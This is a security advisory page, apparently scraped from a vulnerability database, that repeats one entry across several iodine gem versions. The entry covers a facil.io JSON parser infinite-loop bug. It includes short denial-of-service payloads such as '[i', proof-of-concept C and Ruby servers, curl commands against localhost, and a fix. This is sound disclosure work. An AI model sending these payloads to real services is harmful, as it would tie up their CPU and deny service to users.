            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Dec 10, 2022

0.7.51 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Dec 03, 2022

0.7.50 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Oct 29, 2022

0.7.49 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Sep 12, 2022

0.7.48 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

